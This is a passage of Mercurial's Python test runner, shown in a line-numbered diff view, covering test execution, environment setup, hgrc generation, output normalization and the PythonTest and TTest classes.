1047 | 1047 | # This function is extremely similar to unittest.TestCase.run(). Once |
|
1048 | 1048 | # we require Python 2.7 (or at least its version of unittest), this |
|
1049 | 1049 | # function can largely go away. |
|
1050 | 1050 | self._result = result |
|
1051 | 1051 | result.startTest(self) |
|
1052 | 1052 | try: |
|
1053 | 1053 | try: |
|
1054 | 1054 | self.setUp() |
|
1055 | 1055 | except (KeyboardInterrupt, SystemExit): |
|
1056 | 1056 | self._aborted = True |
|
1057 | 1057 | raise |
|
1058 | 1058 | except Exception: |
|
1059 | 1059 | result.addError(self, sys.exc_info()) |
|
1060 | 1060 | return |
|
1061 | 1061 | |
|
1062 | 1062 | success = False |
|
1063 | 1063 | try: |
|
1064 | 1064 | self.runTest() |
|
1065 | 1065 | except KeyboardInterrupt: |
|
1066 | 1066 | self._aborted = True |
|
1067 | 1067 | raise |
|
1068 | 1068 | except unittest.SkipTest as e: |
|
1069 | 1069 | result.addSkip(self, str(e)) |
|
1070 | 1070 | # The base class will have already counted this as a |
|
1071 | 1071 | # test we "ran", but we want to exclude skipped tests |
|
1072 | 1072 | # from those we count towards those run. |
|
1073 | 1073 | result.testsRun -= 1 |
|
1074 | 1074 | except self.failureException as e: |
|
1075 | 1075 | # This differs from unittest in that we don't capture |
|
1076 | 1076 | # the stack trace. This is for historical reasons and |
|
1077 | 1077 | # this decision could be revisited in the future, |
|
1078 | 1078 | # especially for PythonTest instances. |
|
1079 | 1079 | if result.addFailure(self, str(e)): |
|
1080 | 1080 | success = True |
|
1081 | 1081 | except Exception: |
|
1082 | 1082 | result.addError(self, sys.exc_info()) |
|
1083 | 1083 | else: |
|
1084 | 1084 | success = True |
|
1085 | 1085 | |
|
1086 | 1086 | try: |
|
1087 | 1087 | self.tearDown() |
|
1088 | 1088 | except (KeyboardInterrupt, SystemExit): |
|
1089 | 1089 | self._aborted = True |
|
1090 | 1090 | raise |
|
1091 | 1091 | except Exception: |
|
1092 | 1092 | result.addError(self, sys.exc_info()) |
|
1093 | 1093 | success = False |
|
1094 | 1094 | |
|
1095 | 1095 | if success: |
|
1096 | 1096 | result.addSuccess(self) |
|
1097 | 1097 | finally: |
|
1098 | 1098 | result.stopTest(self, interrupted=self._aborted) |
|
1099 | 1099 | |
|
1100 | 1100 | def runTest(self): |
|
1101 | 1101 | """Run this test instance. |
|
1102 | 1102 | |
|
1103 | 1103 | This will return a tuple describing the result of the test. |
|
1104 | 1104 | """ |
|
1105 | 1105 | env = self._getenv() |
|
1106 | 1106 | self._genrestoreenv(env) |
|
1107 | 1107 | self._daemonpids.append(env['DAEMON_PIDS']) |
|
1108 | 1108 | self._createhgrc(env['HGRCPATH']) |
|
1109 | 1109 | |
|
1110 | 1110 | vlog('# Test', self.name) |
|
1111 | 1111 | |
|
1112 | 1112 | ret, out = self._run(env) |
|
1113 | 1113 | self._finished = True |
|
1114 | 1114 | self._ret = ret |
|
1115 | 1115 | self._out = out |
|
1116 | 1116 | |
|
1117 | 1117 | def describe(ret): |
|
1118 | 1118 | if ret < 0: |
|
1119 | 1119 | return 'killed by signal: %d' % -ret |
|
1120 | 1120 | return 'returned error code %d' % ret |
|
1121 | 1121 | |
|
1122 | 1122 | self._skipped = False |
|
1123 | 1123 | |
|
1124 | 1124 | if ret == self.SKIPPED_STATUS: |
|
1125 | 1125 | if out is None: # Debug mode, nothing to parse. |
|
1126 | 1126 | missing = ['unknown'] |
|
1127 | 1127 | failed = None |
|
1128 | 1128 | else: |
|
1129 | 1129 | missing, failed = TTest.parsehghaveoutput(out) |
|
1130 | 1130 | |
|
1131 | 1131 | if not missing: |
|
1132 | 1132 | missing = ['skipped'] |
|
1133 | 1133 | |
|
1134 | 1134 | if failed: |
|
1135 | 1135 | self.fail('hg have failed checking for %s' % failed[-1]) |
|
1136 | 1136 | else: |
|
1137 | 1137 | self._skipped = True |
|
1138 | 1138 | raise unittest.SkipTest(missing[-1]) |
|
1139 | 1139 | elif ret == 'timeout': |
|
1140 | 1140 | self.fail('timed out') |
|
1141 | 1141 | elif ret is False: |
|
1142 | 1142 | self.fail('no result code from test') |
|
1143 | 1143 | elif out != self._refout: |
|
1144 | 1144 | # Diff generation may rely on written .err file. |
|
1145 | 1145 | if ( |
|
1146 | 1146 | (ret != 0 or out != self._refout) |
|
1147 | 1147 | and not self._skipped |
|
1148 | 1148 | and not self._debug |
|
1149 | 1149 | ): |
|
1150 | 1150 | with open(self.errpath, 'wb') as f: |
|
1151 | 1151 | for line in out: |
|
1152 | 1152 | f.write(line) |
|
1153 | 1153 | |
|
1154 | 1154 | # The result object handles diff calculation for us. |
|
1155 | 1155 | with firstlock: |
|
1156 | 1156 | if self._result.addOutputMismatch(self, ret, out, self._refout): |
|
1157 | 1157 | # change was accepted, skip failing |
|
1158 | 1158 | return |
|
1159 | 1159 | if self._first: |
|
1160 | 1160 | global firsterror |
|
1161 | 1161 | firsterror = True |
|
1162 | 1162 | |
|
1163 | 1163 | if ret: |
|
1164 | 1164 | msg = 'output changed and ' + describe(ret) |
|
1165 | 1165 | else: |
|
1166 | 1166 | msg = 'output changed' |
|
1167 | 1167 | |
|
1168 | 1168 | self.fail(msg) |
|
1169 | 1169 | elif ret: |
|
1170 | 1170 | self.fail(describe(ret)) |
|
1171 | 1171 | |
|
1172 | 1172 | def tearDown(self): |
|
1173 | 1173 | """Tasks to perform after run().""" |
|
1174 | 1174 | for entry in self._daemonpids: |
|
1175 | 1175 | killdaemons(entry) |
|
1176 | 1176 | self._daemonpids = [] |
|
1177 | 1177 | |
|
1178 | 1178 | if self._keeptmpdir: |
|
1179 | 1179 | log( |
|
1180 | 1180 | '\nKeeping testtmp dir: %s\nKeeping threadtmp dir: %s' |
|
1181 | 1181 | % ( |
|
1182 | 1182 | self._testtmp.decode('utf-8'), |
|
1183 | 1183 | self._threadtmp.decode('utf-8'), |
|
1184 | 1184 | ) |
|
1185 | 1185 | ) |
|
1186 | 1186 | else: |
|
1187 | 1187 | try: |
|
1188 | 1188 | shutil.rmtree(self._testtmp) |
|
1189 | 1189 | except OSError: |
|
1190 | 1190 | # unreadable directory may be left in $TESTTMP; fix permission |
|
1191 | 1191 | # and try again |
|
1192 | 1192 | makecleanable(self._testtmp) |
|
1193 | 1193 | shutil.rmtree(self._testtmp, True) |
|
1194 | 1194 | shutil.rmtree(self._threadtmp, True) |
|
1195 | 1195 | |
|
1196 | 1196 | if self._usechg: |
|
1197 | 1197 | # chgservers will stop automatically after they find the socket |
|
1198 | 1198 | # files are deleted |
|
1199 | 1199 | shutil.rmtree(self._chgsockdir, True) |
|
1200 | 1200 | |
|
1201 | 1201 | if ( |
|
1202 | 1202 | (self._ret != 0 or self._out != self._refout) |
|
1203 | 1203 | and not self._skipped |
|
1204 | 1204 | and not self._debug |
|
1205 | 1205 | and self._out |
|
1206 | 1206 | ): |
|
1207 | 1207 | with open(self.errpath, 'wb') as f: |
|
1208 | 1208 | for line in self._out: |
|
1209 | 1209 | f.write(line) |
|
1210 | 1210 | |
|
1211 | 1211 | vlog("# Ret was:", self._ret, '(%s)' % self.name) |
|
1212 | 1212 | |
|
1213 | 1213 | def _run(self, env): |
|
1214 | 1214 | # This should be implemented in child classes to run tests. |
|
1215 | 1215 | raise unittest.SkipTest('unknown test type') |
|
1216 | 1216 | |
|
1217 | 1217 | def abort(self): |
|
1218 | 1218 | """Terminate execution of this test.""" |
|
1219 | 1219 | self._aborted = True |
|
1220 | 1220 | |
|
1221 | 1221 | def _portmap(self, i): |
|
1222 | 1222 | offset = b'' if i == 0 else b'%d' % i |
|
1223 | 1223 | return (br':%d\b' % (self._startport + i), b':$HGPORT%s' % offset) |
|
1224 | 1224 | |
|
1225 | 1225 | def _getreplacements(self): |
|
1226 | 1226 | """Obtain a mapping of text replacements to apply to test output. |
|
1227 | 1227 | |
|
1228 | 1228 | Test output needs to be normalized so it can be compared to expected |
|
1229 | 1229 | output. This function defines how some of that normalization will |
|
1230 | 1230 | occur. |
|
1231 | 1231 | """ |
|
1232 | 1232 | r = [ |
|
1233 | 1233 | # This list should be parallel to defineport in _getenv |
|
1234 | 1234 | self._portmap(0), |
|
1235 | 1235 | self._portmap(1), |
|
1236 | 1236 | self._portmap(2), |
|
1237 | 1237 | (br'([^0-9])%s' % re.escape(self._localip()), br'\1$LOCALIP'), |
|
1238 | 1238 | (br'\bHG_TXNID=TXN:[a-f0-9]{40}\b', br'HG_TXNID=TXN:$ID$'), |
|
1239 | 1239 | ] |
|
1240 | 1240 | r.append((self._escapepath(self._testtmp), b'$TESTTMP')) |
|
1241 | 1241 | |
|
1242 | 1242 | replacementfile = os.path.join(self._testdir, b'common-pattern.py') |
|
1243 | 1243 | |
|
1244 | 1244 | if os.path.exists(replacementfile): |
|
1245 | 1245 | data = {} |
|
1246 | 1246 | with open(replacementfile, mode='rb') as source: |
|
1247 | 1247 | # the intermediate 'compile' step help with debugging |
|
1248 | 1248 | code = compile(source.read(), replacementfile, 'exec') |
|
1249 | 1249 | exec(code, data) |
|
1250 | 1250 | for value in data.get('substitutions', ()): |
|
1251 | 1251 | if len(value) != 2: |
|
1252 | 1252 | msg = 'malformatted substitution in %s: %r' |
|
1253 | 1253 | msg %= (replacementfile, value) |
|
1254 | 1254 | raise ValueError(msg) |
|
1255 | 1255 | r.append(value) |
|
1256 | 1256 | return r |
|
1257 | 1257 | |
|
1258 | 1258 | def _escapepath(self, p): |
|
1259 | 1259 | if os.name == 'nt': |
|
1260 | 1260 | return b''.join( |
|
1261 | 1261 | c.isalpha() |
|
1262 | 1262 | and b'[%s%s]' % (c.lower(), c.upper()) |
|
1263 | 1263 | or c in b'/\\' |
|
1264 | 1264 | and br'[/\\]' |
|
1265 | 1265 | or c.isdigit() |
|
1266 | 1266 | and c |
|
1267 | 1267 | or b'\\' + c |
|
1268 | 1268 | for c in [p[i : i + 1] for i in range(len(p))] |
|
1269 | 1269 | ) |
|
1270 | 1270 | else: |
|
1271 | 1271 | return re.escape(p) |
|
1272 | 1272 | |
|
1273 | 1273 | def _localip(self): |
|
1274 | 1274 | if self._useipv6: |
|
1275 | 1275 | return b'::1' |
|
1276 | 1276 | else: |
|
1277 | 1277 | return b'127.0.0.1' |
|
1278 | 1278 | |
|
1279 | 1279 | def _genrestoreenv(self, testenv): |
|
1280 | 1280 | """Generate a script that can be used by tests to restore the original |
|
1281 | 1281 | environment.""" |
|
1282 | 1282 | # Put the restoreenv script inside self._threadtmp |
|
1283 | 1283 | scriptpath = os.path.join(self._threadtmp, b'restoreenv.sh') |
|
1284 | 1284 | testenv['HGTEST_RESTOREENV'] = _strpath(scriptpath) |
|
1285 | 1285 | |
|
1286 | 1286 | # Only restore environment variable names that the shell allows |
|
1287 | 1287 | # us to export. |
|
1288 | 1288 | name_regex = re.compile('^[a-zA-Z][a-zA-Z0-9_]*$') |
|
1289 | 1289 | |
|
1290 | 1290 | # Do not restore these variables; otherwise tests would fail. |
|
1291 | 1291 | reqnames = {'PYTHON', 'TESTDIR', 'TESTTMP'} |
|
1292 | 1292 | |
|
1293 | 1293 | with open(scriptpath, 'w') as envf: |
|
1294 | 1294 | for name, value in origenviron.items(): |
|
1295 | 1295 | if not name_regex.match(name): |
|
1296 | 1296 | # Skip environment variables with unusual names not |
|
1297 | 1297 | # allowed by most shells. |
|
1298 | 1298 | continue |
|
1299 | 1299 | if name in reqnames: |
|
1300 | 1300 | continue |
|
1301 | 1301 | envf.write('%s=%s\n' % (name, shellquote(value))) |
|
1302 | 1302 | |
|
1303 | 1303 | for name in testenv: |
|
1304 | 1304 | if name in origenviron or name in reqnames: |
|
1305 | 1305 | continue |
|
1306 | 1306 | envf.write('unset %s\n' % (name,)) |
|
1307 | 1307 | |
|
1308 | 1308 | def _getenv(self): |
|
1309 | 1309 | """Obtain environment variables to use during test execution.""" |
|
1310 | 1310 | |
|
1311 | 1311 | def defineport(i): |
|
1312 | 1312 | offset = '' if i == 0 else '%s' % i |
|
1313 | 1313 | env["HGPORT%s" % offset] = '%s' % (self._startport + i) |
|
1314 | 1314 | |
|
1315 | 1315 | env = os.environ.copy() |
|
1316 | 1316 | env['PYTHONUSERBASE'] = sysconfig.get_config_var('userbase') or '' |
|
1317 | 1317 | env['HGEMITWARNINGS'] = '1' |
|
1318 | 1318 | env['TESTTMP'] = _strpath(self._testtmp) |
|
1319 | 1319 | env['TESTNAME'] = self.name |
|
1320 | 1320 | env['HOME'] = _strpath(self._testtmp) |
|
1321 | 1321 | # This number should match portneeded in _getport |
|
1322 | 1322 | for port in xrange(3): |
|
1323 | 1323 | # This list should be parallel to _portmap in _getreplacements |
|
1324 | 1324 | defineport(port) |
|
1325 | 1325 | env["HGRCPATH"] = _strpath(os.path.join(self._threadtmp, b'.hgrc')) |
|
1326 | 1326 | env["DAEMON_PIDS"] = _strpath( |
|
1327 | 1327 | os.path.join(self._threadtmp, b'daemon.pids') |
|
1328 | 1328 | ) |
|
1329 | 1329 | env["HGEDITOR"] = ( |
|
1330 | 1330 | '"' + sysexecutable + '"' + ' -c "import sys; sys.exit(0)"' |
|
1331 | 1331 | ) |
|
1332 | 1332 | env["HGUSER"] = "test" |
|
1333 | 1333 | env["HGENCODING"] = "ascii" |
|
1334 | 1334 | env["HGENCODINGMODE"] = "strict" |
|
1335 | 1335 | env["HGHOSTNAME"] = "test-hostname" |
|
1336 | 1336 | env['HGIPV6'] = str(int(self._useipv6)) |
|
1337 | 1337 | # See contrib/catapipe.py for how to use this functionality. |
|
1338 | 1338 | if 'HGTESTCATAPULTSERVERPIPE' not in env: |
|
1339 | 1339 | # If we don't have HGTESTCATAPULTSERVERPIPE explicitly set, pull the |
|
1340 | 1340 | # non-test one in as a default, otherwise set to devnull |
|
1341 | 1341 | env['HGTESTCATAPULTSERVERPIPE'] = env.get( |
|
1342 | 1342 | 'HGCATAPULTSERVERPIPE', os.devnull |
|
1343 | 1343 | ) |
|
1344 | 1344 | |
|
1345 | 1345 | extraextensions = [] |
|
1346 | 1346 | for opt in self._extraconfigopts: |
|
1347 | 1347 | section, key = opt.encode('utf-8').split(b'.', 1) |
|
1348 | 1348 | if section != 'extensions': |
|
1349 | 1349 | continue |
|
1350 | 1350 | name = key.split(b'=', 1)[0] |
|
1351 | 1351 | extraextensions.append(name) |
|
1352 | 1352 | |
|
1353 | 1353 | if extraextensions: |
|
1354 | 1354 | env['HGTESTEXTRAEXTENSIONS'] = b' '.join(extraextensions) |
|
1355 | 1355 | |
|
1356 | 1356 | # LOCALIP could be ::1 or 127.0.0.1. Useful for tests that require raw |
|
1357 | 1357 | # IP addresses. |
|
1358 | 1358 | env['LOCALIP'] = _strpath(self._localip()) |
|
1359 | 1359 | |
|
1360 | 1360 | # This has the same effect as Py_LegacyWindowsStdioFlag in exewrapper.c, |
|
1361 | 1361 | # but this is needed for testing python instances like dummyssh, |
|
1362 | 1362 | # dummysmtpd.py, and dumbhttp.py. |
|
1363 | 1363 | if PYTHON3 and os.name == 'nt': |
|
1364 | 1364 | env['PYTHONLEGACYWINDOWSSTDIO'] = '1' |
|
1365 | 1365 | |
|
1366 | 1366 | # Modified HOME in test environment can confuse Rust tools. So set |
|
1367 | 1367 | # CARGO_HOME and RUSTUP_HOME automatically if a Rust toolchain is |
|
1368 | 1368 | # present and these variables aren't already defined. |
|
1369 | 1369 | cargo_home_path = os.path.expanduser('~/.cargo') |
|
1370 | 1370 | rustup_home_path = os.path.expanduser('~/.rustup') |
|
1371 | 1371 | |
|
1372 | 1372 | if os.path.exists(cargo_home_path) and b'CARGO_HOME' not in osenvironb: |
|
1373 | 1373 | env['CARGO_HOME'] = cargo_home_path |
|
1374 | 1374 | if ( |
|
1375 | 1375 | os.path.exists(rustup_home_path) |
|
1376 | 1376 | and b'RUSTUP_HOME' not in osenvironb |
|
1377 | 1377 | ): |
|
1378 | 1378 | env['RUSTUP_HOME'] = rustup_home_path |
|
1379 | 1379 | |
|
1380 | 1380 | # Reset some environment variables to well-known values so that |
|
1381 | 1381 | # the tests produce repeatable output. |
|
1382 | 1382 | env['LANG'] = env['LC_ALL'] = env['LANGUAGE'] = 'C' |
|
1383 | 1383 | env['TZ'] = 'GMT' |
|
1384 | 1384 | env["EMAIL"] = "Foo Bar <foo.bar@example.com>" |
|
1385 | 1385 | env['COLUMNS'] = '80' |
|
1386 | 1386 | env['TERM'] = 'xterm' |
|
1387 | 1387 | |
|
1388 | 1388 | dropped = [ |
|
1389 | 1389 | 'CDPATH', |
|
1390 | 1390 | 'CHGDEBUG', |
|
1391 | 1391 | 'EDITOR', |
|
1392 | 1392 | 'GREP_OPTIONS', |
|
1393 | 1393 | 'HG', |
|
1394 | 1394 | 'HGMERGE', |
|
1395 | 1395 | 'HGPLAIN', |
|
1396 | 1396 | 'HGPLAINEXCEPT', |
|
1397 | 1397 | 'HGPROF', |
|
1398 | 1398 | 'http_proxy', |
|
1399 | 1399 | 'no_proxy', |
|
1400 | 1400 | 'NO_PROXY', |
|
1401 | 1401 | 'PAGER', |
|
1402 | 1402 | 'VISUAL', |
|
1403 | 1403 | ] |
|
1404 | 1404 | |
|
1405 | 1405 | for k in dropped: |
|
1406 | 1406 | if k in env: |
|
1407 | 1407 | del env[k] |
|
1408 | 1408 | |
|
1409 | 1409 | # unset env related to hooks |
|
1410 | 1410 | for k in list(env): |
|
1411 | 1411 | if k.startswith('HG_'): |
|
1412 | 1412 | del env[k] |
|
1413 | 1413 | |
|
1414 | 1414 | if self._usechg: |
|
1415 | 1415 | env['CHGSOCKNAME'] = os.path.join(self._chgsockdir, b'server') |
|
1416 | 1416 | |
|
1417 | 1417 | return env |
|
1418 | 1418 | |
|
1419 | 1419 | def _createhgrc(self, path): |
|
1420 | 1420 | """Create an hgrc file for this test.""" |
|
1421 | 1421 | with open(path, 'wb') as hgrc: |
|
1422 | 1422 | hgrc.write(b'[ui]\n') |
|
1423 | 1423 | hgrc.write(b'slash = True\n') |
|
1424 | 1424 | hgrc.write(b'interactive = False\n') |
|
1425 | 1425 | hgrc.write(b'merge = internal:merge\n') |
|
1426 | 1426 | hgrc.write(b'mergemarkers = detailed\n') |
|
1427 | 1427 | hgrc.write(b'promptecho = True\n') |
|
1428 | 1428 | hgrc.write(b'[defaults]\n') |
|
1429 | 1429 | hgrc.write(b'[devel]\n') |
|
1430 | 1430 | hgrc.write(b'all-warnings = true\n') |
|
1431 | 1431 | hgrc.write(b'default-date = 0 0\n') |
|
1432 | 1432 | hgrc.write(b'[largefiles]\n') |
|
1433 | 1433 | hgrc.write( |
|
1434 | 1434 | b'usercache = %s\n' |
|
1435 | 1435 | % (os.path.join(self._testtmp, b'.cache/largefiles')) |
|
1436 | 1436 | ) |
|
1437 | 1437 | hgrc.write(b'[lfs]\n') |
|
1438 | 1438 | hgrc.write( |
|
1439 | 1439 | b'usercache = %s\n' |
|
1440 | 1440 | % (os.path.join(self._testtmp, b'.cache/lfs')) |
|
1441 | 1441 | ) |
|
1442 | 1442 | hgrc.write(b'[web]\n') |
|
1443 | 1443 | hgrc.write(b'address = localhost\n') |
|
1444 | 1444 | hgrc.write(b'ipv6 = %s\n' % str(self._useipv6).encode('ascii')) |
|
1445 | 1445 | hgrc.write(b'server-header = testing stub value\n') |
|
1446 | 1446 | |
|
1447 | 1447 | for opt in self._extraconfigopts: |
|
1448 | 1448 | section, key = opt.encode('utf-8').split(b'.', 1) |
|
1449 | 1449 | assert b'=' in key, ( |
|
1450 | 1450 | 'extra config opt %s must ' 'have an = for assignment' % opt |
|
1451 | 1451 | ) |
|
1452 | 1452 | hgrc.write(b'[%s]\n%s\n' % (section, key)) |
|
1453 | 1453 | |
|
1454 | 1454 | def fail(self, msg): |
|
1455 | 1455 | # unittest differentiates between errored and failed. |
|
1456 | 1456 | # Failed is denoted by AssertionError (by default at least). |
|
1457 | 1457 | raise AssertionError(msg) |
|
1458 | 1458 | |
|
1459 | 1459 | def _runcommand(self, cmd, env, normalizenewlines=False): |
|
1460 | 1460 | """Run command in a sub-process, capturing the output (stdout and |
|
1461 | 1461 | stderr). |
|
1462 | 1462 | |
|
1463 | 1463 | Return a tuple (exitcode, output). output is None in debug mode. |
|
1464 | 1464 | """ |
|
1465 | 1465 | if self._debug: |
|
1466 | 1466 | proc = subprocess.Popen( |
|
1467 | 1467 | _strpath(cmd), shell=True, cwd=_strpath(self._testtmp), env=env |
|
1468 | 1468 | ) |
|
1469 | 1469 | ret = proc.wait() |
|
1470 | 1470 | return (ret, None) |
|
1471 | 1471 | |
|
1472 | 1472 | proc = Popen4(cmd, self._testtmp, self._timeout, env) |
|
1473 | 1473 | |
|
1474 | 1474 | def cleanup(): |
|
1475 | 1475 | terminate(proc) |
|
1476 | 1476 | ret = proc.wait() |
|
1477 | 1477 | if ret == 0: |
|
1478 | 1478 | ret = signal.SIGTERM << 8 |
|
1479 | 1479 | killdaemons(env['DAEMON_PIDS']) |
|
1480 | 1480 | return ret |
|
1481 | 1481 | |
|
1482 | 1482 | proc.tochild.close() |
|
1483 | 1483 | |
|
1484 | 1484 | try: |
|
1485 | 1485 | output = proc.fromchild.read() |
|
1486 | 1486 | except KeyboardInterrupt: |
|
1487 | 1487 | vlog('# Handling keyboard interrupt') |
|
1488 | 1488 | cleanup() |
|
1489 | 1489 | raise |
|
1490 | 1490 | |
|
1491 | 1491 | ret = proc.wait() |
|
1492 | 1492 | if wifexited(ret): |
|
1493 | 1493 | ret = os.WEXITSTATUS(ret) |
|
1494 | 1494 | |
|
1495 | 1495 | if proc.timeout: |
|
1496 | 1496 | ret = 'timeout' |
|
1497 | 1497 | |
|
1498 | 1498 | if ret: |
|
1499 | 1499 | killdaemons(env['DAEMON_PIDS']) |
|
1500 | 1500 | |
|
1501 | 1501 | for s, r in self._getreplacements(): |
|
1502 | 1502 | output = re.sub(s, r, output) |
|
1503 | 1503 | |
|
1504 | 1504 | if normalizenewlines: |
|
1505 | 1505 | output = output.replace(b'\r\n', b'\n') |
|
1506 | 1506 | |
|
1507 | 1507 | return ret, output.splitlines(True) |
|
1508 | 1508 | |
|
1509 | 1509 | |
|
1510 | 1510 | class PythonTest(Test): |
|
1511 | 1511 | """A Python-based test.""" |
|
1512 | 1512 | |
|
1513 | 1513 | @property |
|
1514 | 1514 | def refpath(self): |
|
1515 | 1515 | return os.path.join(self._testdir, b'%s.out' % self.bname) |
|
1516 | 1516 | |
|
1517 | 1517 | def _run(self, env): |
|
1518 | 1518 | py3switch = self._py3warnings and b' -3' or b'' |
|
1519 | 1519 | # Quote the python(3) executable for Windows |
|
1520 | 1520 | cmd = b'"%s"%s "%s"' % (PYTHON, py3switch, self.path) |
|
1521 | 1521 | vlog("# Running", cmd.decode("utf-8")) |
|
1522 | 1522 | normalizenewlines = os.name == 'nt' |
|
1523 | 1523 | result = self._runcommand(cmd, env, normalizenewlines=normalizenewlines) |
|
1524 | 1524 | if self._aborted: |
|
1525 | 1525 | raise KeyboardInterrupt() |
|
1526 | 1526 | |
|
1527 | 1527 | return result |
|
1528 | 1528 | |
|
1529 | 1529 | |
|
1530 | 1530 | # Some glob patterns apply only in some circumstances, so the script |
|
1531 | 1531 | # might want to remove (glob) annotations that otherwise should be |
|
1532 | 1532 | # retained. |
|
1533 | 1533 | checkcodeglobpats = [ |
|
1534 | 1534 | # On Windows it looks like \ doesn't require a (glob), but we know |
|
1535 | 1535 | # better. |
|
1536 | 1536 | re.compile(br'^pushing to \$TESTTMP/.*[^)]$'), |
|
1537 | 1537 | re.compile(br'^moving \S+/.*[^)]$'), |
|
1538 | 1538 | re.compile(br'^pulling from \$TESTTMP/.*[^)]$'), |
|
1539 | 1539 | # Not all platforms have 127.0.0.1 as loopback (though most do), |
|
1540 | 1540 | # so we always glob that too. |
|
1541 | 1541 | re.compile(br'.*\$LOCALIP.*$'), |
|
1542 | 1542 | ] |
|
1543 | 1543 | |
|
1544 | 1544 | bchr = chr |
|
1545 | 1545 | if PYTHON3: |
|
1546 | 1546 | bchr = lambda x: bytes([x]) |
|
1547 | 1547 | |
|
1548 | 1548 | WARN_UNDEFINED = 1 |
|
1549 | 1549 | WARN_YES = 2 |
|
1550 | 1550 | WARN_NO = 3 |
|
1551 | 1551 | |
|
1552 | 1552 | MARK_OPTIONAL = b" (?)\n" |
|
1553 | 1553 | |
|
1554 | 1554 | |
|
1555 | 1555 | def isoptional(line): |
|
1556 | 1556 | return line.endswith(MARK_OPTIONAL) |
|
1557 | 1557 | |
|
1558 | 1558 | |
|
1559 | 1559 | class TTest(Test): |
|
1560 | 1560 | """A "t test" is a test backed by a .t file.""" |
|
1561 | 1561 | |
|
1562 | 1562 | SKIPPED_PREFIX = b'skipped: ' |
|
1563 | 1563 | FAILED_PREFIX = b'hghave check failed: ' |
|
1564 | 1564 | NEEDESCAPE = re.compile(br'[\x00-\x08\x0b-\x1f\x7f-\xff]').search |
|
1565 | 1565 | |
|
1566 | 1566 | ESCAPESUB = re.compile(br'[\x00-\x08\x0b-\x1f\\\x7f-\xff]').sub |
|
1567 | 1567 | ESCAPEMAP = dict((bchr(i), br'\x%02x' % i) for i in range(256)) |
|
1568 | 1568 | ESCAPEMAP.update({b'\\': b'\\\\', b'\r': br'\r'}) |
|
1569 | 1569 | |
|
1570 | 1570 | def __init__(self, path, *args, **kwds): |
|
1571 | 1571 | # accept an extra "case" parameter |
|
1572 | 1572 | case = kwds.pop('case', []) |
|
1573 | 1573 | self._case = case |
|
1574 | 1574 | self._allcases = {x for y in parsettestcases(path) for x in y} |
|
1575 | 1575 | super(TTest, self).__init__(path, *args, **kwds) |
|
1576 | 1576 | if case: |
|
1577 | 1577 | casepath = b'#'.join(case) |
|
1578 | 1578 | self.name = '%s#%s' % (self.name, _strpath(casepath)) |
|
1579 | 1579 | self.errpath = b'%s#%s.err' % (self.errpath[:-4], casepath) |
|
1580 | 1580 | self._tmpname += b'-%s' % casepath |
|
1581 | 1581 | self._have = {} |
|
1582 | 1582 | |
|
1583 | 1583 | @property |
|
1584 | 1584 | def refpath(self): |
|
1585 | 1585 | return os.path.join(self._testdir, self.bname) |
|
1586 | 1586 | |
|
1587 | 1587 | def _run(self, env): |
|
1588 | 1588 | with open(self.path, 'rb') as f: |
|
1589 | 1589 | lines = f.readlines() |
|
1590 | 1590 | |
|
1591 | 1591 | # .t file is both reference output and the test input, keep reference |
|
1592 | 1592 | # output updated with the the test input. This avoids some race |
|
1593 | 1593 | # conditions where the reference output does not match the actual test. |
|
1594 | 1594 | if self._refout is not None: |
|
1595 | 1595 | self._refout = lines |
|
1596 | 1596 | |
|
1597 | 1597 | salt, script, after, expected = self._parsetest(lines) |
|
1598 | 1598 | |
|
1599 | 1599 | # Write out the generated script. |
|
1600 | 1600 | fname = b'%s.sh' % self._testtmp |
|
1601 | 1601 | with open(fname, 'wb') as f: |
|
1602 | 1602 | for l in script: |
|
1603 | 1603 | f.write(l) |
|
1604 | 1604 | |
|
1605 | 1605 | cmd = b'%s "%s"' % (self._shell, fname) |
|
1606 | 1606 | vlog("# Running", cmd.decode("utf-8")) |
|
1607 | 1607 | |
|
1608 | 1608 | exitcode, output = self._runcommand(cmd, env) |
|
1609 | 1609 | |
|
1610 | 1610 | if self._aborted: |
|
1611 | 1611 | raise KeyboardInterrupt() |
|
1612 | 1612 | |
|
1613 | 1613 | # Do not merge output if skipped. Return hghave message instead. |
|
1614 | 1614 | # Similarly, with --debug, output is None. |
|
1615 | 1615 | if exitcode == self.SKIPPED_STATUS or output is None: |
|
1616 | 1616 | return exitcode, output |
|
1617 | 1617 | |
|
1618 | 1618 | return self._processoutput(exitcode, output, salt, after, expected) |
|
1619 | 1619 | |
|
1620 | 1620 | def _hghave(self, reqs): |
|
1621 | 1621 | allreqs = b' '.join(reqs) |
|
1622 | 1622 | |
|
1623 | 1623 | self._detectslow(reqs) |
|
1624 | 1624 | |
|
1625 | 1625 | if allreqs in self._have: |
|
1626 | 1626 | return self._have.get(allreqs) |
|
1627 | 1627 | |
|
1628 | 1628 | # TODO do something smarter when all other uses of hghave are gone. |
|
1629 | 1629 | runtestdir = os.path.abspath(os.path.dirname(_bytespath(__file__))) |
|
1630 | 1630 | tdir = runtestdir.replace(b'\\', b'/') |
|
1631 | 1631 | proc = Popen4( |
|
1632 | 1632 | b'%s -c "%s/hghave %s"' % (self._shell, tdir, allreqs), |
|
1633 | 1633 | self._testtmp, |
|
1634 | 1634 | 0, |
|
1635 | 1635 | self._getenv(), |
|
1636 | 1636 | ) |
|
1637 | 1637 | stdout, stderr = proc.communicate() |
|
1638 | 1638 | ret = proc.wait() |
|
1639 | 1639 | if wifexited(ret): |
|
1640 | 1640 | ret = os.WEXITSTATUS(ret) |
|
1641 | 1641 | if ret == 2: |
|
1642 | 1642 | print(stdout.decode('utf-8')) |
|
1643 | 1643 | sys.exit(1) |
|
1644 | 1644 | |
|
1645 | 1645 | if ret != 0: |
|
1646 | 1646 | self._have[allreqs] = (False, stdout) |
|
1647 | 1647 | return False, stdout |
|
1648 | 1648 | |
|
1649 | 1649 | self._have[allreqs] = (True, None) |
|
1650 | 1650 | return True, None |
|
1651 | 1651 | |
|
1652 | 1652 | def _detectslow(self, reqs): |
|
1653 | 1653 | """update the timeout of slow test when appropriate""" |
|
1654 | 1654 | if b'slow' in reqs: |
|
1655 | 1655 | self._timeout = self._slowtimeout |
|
1656 | 1656 | |
|
1657 | 1657 | def _iftest(self, args): |
|
1658 | 1658 | # implements "#if" |
|
1659 | 1659 | reqs = [] |
|
1660 | 1660 | for arg in args: |
|
1661 | 1661 | if arg.startswith(b'no-') and arg[3:] in self._allcases: |
|
1662 | 1662 | if arg[3:] in self._case: |
|
1663 | 1663 | return False |
|
1664 | 1664 | elif arg in self._allcases: |
|
1665 | 1665 | if arg not in self._case: |
|
1666 | 1666 | return False |
|
1667 | 1667 | else: |
|
